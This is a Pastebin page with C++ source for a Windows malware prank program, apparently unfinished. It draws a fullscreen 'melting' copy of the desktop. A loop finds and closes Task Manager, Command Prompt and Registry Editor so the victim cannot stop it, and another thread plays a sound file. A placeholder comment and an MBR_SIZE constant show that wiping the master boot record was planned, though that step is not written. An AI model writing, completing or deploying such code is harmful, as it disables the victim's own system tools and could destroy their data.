Advertisement
Guest User

Untitled

a guest
Mar 25th, 2017
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 3.16 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <iostream>
  3. #include <string>
  4. #include <tchar.h>
  5. #include <process.h>
  6. #include <windows.h>
  7. #include <tlhelp32.h>
  8. #include <string.h>
  9. #include <tchar.h>
  10. #include <psapi.h> 
  11. #include <objidl.h>
  12. #include <gdiplus.h>
  13. #include <mmsystem.h>
  14.  
  15. using namespace std;
  16.  
  17. #define MBR_SIZE 512
  18.  
  19. HWND mywindow, TaskMgr, CMD, Regedit;
  20.  
  21. HBITMAP hBitmap = NULL;
  22.  
  23. int nScreenWidth(GetSystemMetrics(SM_CXSCREEN));
  24. int nScreenHeight(GetSystemMetrics(SM_CYSCREEN));
  25.  
  26. LRESULT WINAPI MelterProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);
  27. DWORD WINAPI DestroyWindows(LPVOID);
  28. DWORD WINAPI PlayIssou(LPVOID);
  29.  
  30. int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nShowCmd)
  31. {
  32.     WNDCLASS wndClass = { 0,MelterProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), 0, NULL, TEXT("Melt") };
  33.     RegisterClass(&wndClass);
  34.     HWND hWnd = CreateWindow(TEXT("Melt"), NULL, WS_POPUP, 0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN), HWND_DESKTOP, NULL, hInstance, NULL);
  35.  
  36.     CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
  37.     CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&PlayIssou, 0, 0, NULL);
  38.  
  39.     srand(GetTickCount());
  40.  
  41.     // Erase MBR (pas décider)
  42.  
  43.     // Melting screen...
  44.  
  45.     MSG Msg = { 0 };
  46.  
  47.     while (1) {
  48.         /*
  49.         Additionel
  50.         */
  51.         if (PeekMessage(&Msg, NULL, 0, 0, PM_REMOVE)) {
  52.             TranslateMessage(&Msg);
  53.             DispatchMessage(&Msg);
  54.         }
  55.     }
  56.  
  57.    
  58.  
  59.     return 0;
  60. }
  61.  
  62. LRESULT WINAPI MelterProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
  63. {
  64.     switch (Msg) {
  65.     case WM_CREATE:
  66.     {
  67.         HDC hdcDesktop = GetDC(HWND_DESKTOP);
  68.         HDC hdcWindow = GetDC(hWnd);
  69.         BitBlt(hdcWindow, 0, 0, nScreenWidth, nScreenHeight, hdcDesktop, 0, 0, SRCCOPY);
  70.         ReleaseDC(hWnd, hdcWindow);
  71.         ReleaseDC(HWND_DESKTOP, hdcDesktop);
  72.         SetTimer(hWnd, 0, 1, NULL);
  73.         ShowWindow(hWnd, SW_SHOW);
  74.     }
  75.     return 0;
  76.     case WM_ERASEBKGND:
  77.         return 0;
  78.     case WM_PAINT:
  79.         ValidateRect(hWnd, NULL);
  80.         return 0;
  81.     case WM_TIMER:
  82.     {
  83.         HDC hdcWindow = GetDC(hWnd);
  84.         int nXPos = (rand() % nScreenWidth) - (100 / 2),
  85.             nYPos = (rand() % 15),
  86.             nWidth = (rand() % 100);
  87.         BitBlt(hdcWindow, nXPos, nYPos, nWidth, nScreenHeight, hdcWindow, nXPos, 0, SRCCOPY);
  88.         ReleaseDC(hWnd, hdcWindow);
  89.     }
  90.     return 0;
  91.     case WM_CLOSE:
  92.     case WM_DESTROY:
  93.     {
  94.         KillTimer(hWnd, 0);
  95.         PostQuitMessage(0);
  96.     }
  97.     return 0;
  98.     }
  99.     return DefWindowProc(hWnd, Msg, wParam, lParam);
  100. }
  101.  
  102. DWORD WINAPI DestroyWindows(LPVOID)
  103. {
  104.     while (1)
  105.     {
  106.         TaskMgr = FindWindow(NULL, "Gestionnaire des tâches");
  107.         CMD = FindWindow(NULL, "Invite de commandes");
  108.         Regedit = FindWindow(NULL, "Registry Editor");
  109.  
  110.         if (TaskMgr != NULL) {
  111.             SetWindowText(TaskMgr, "You Suck Balls Superman");
  112.             PostMessage(TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  113.         }
  114.         if (CMD != NULL)
  115.         {
  116.             SetWindowText(CMD, "You Suck Balls Superman");
  117.             PostMessage(CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  118.         }
  119.         if (Regedit != NULL)
  120.         {
  121.             SetWindowText(Regedit, "You Suck Balls Superman");
  122.             PostMessage(Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
  123.         }
  124.  
  125.         Sleep(10);
  126.     }
  127. }
  128.  
  129. DWORD WINAPI PlayIssou(LPVOID) {
  130.     PlaySound(TEXT("issou.wav"), NULL, SND_SYNC);
  131.  
  132.     return NULL;
  133. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement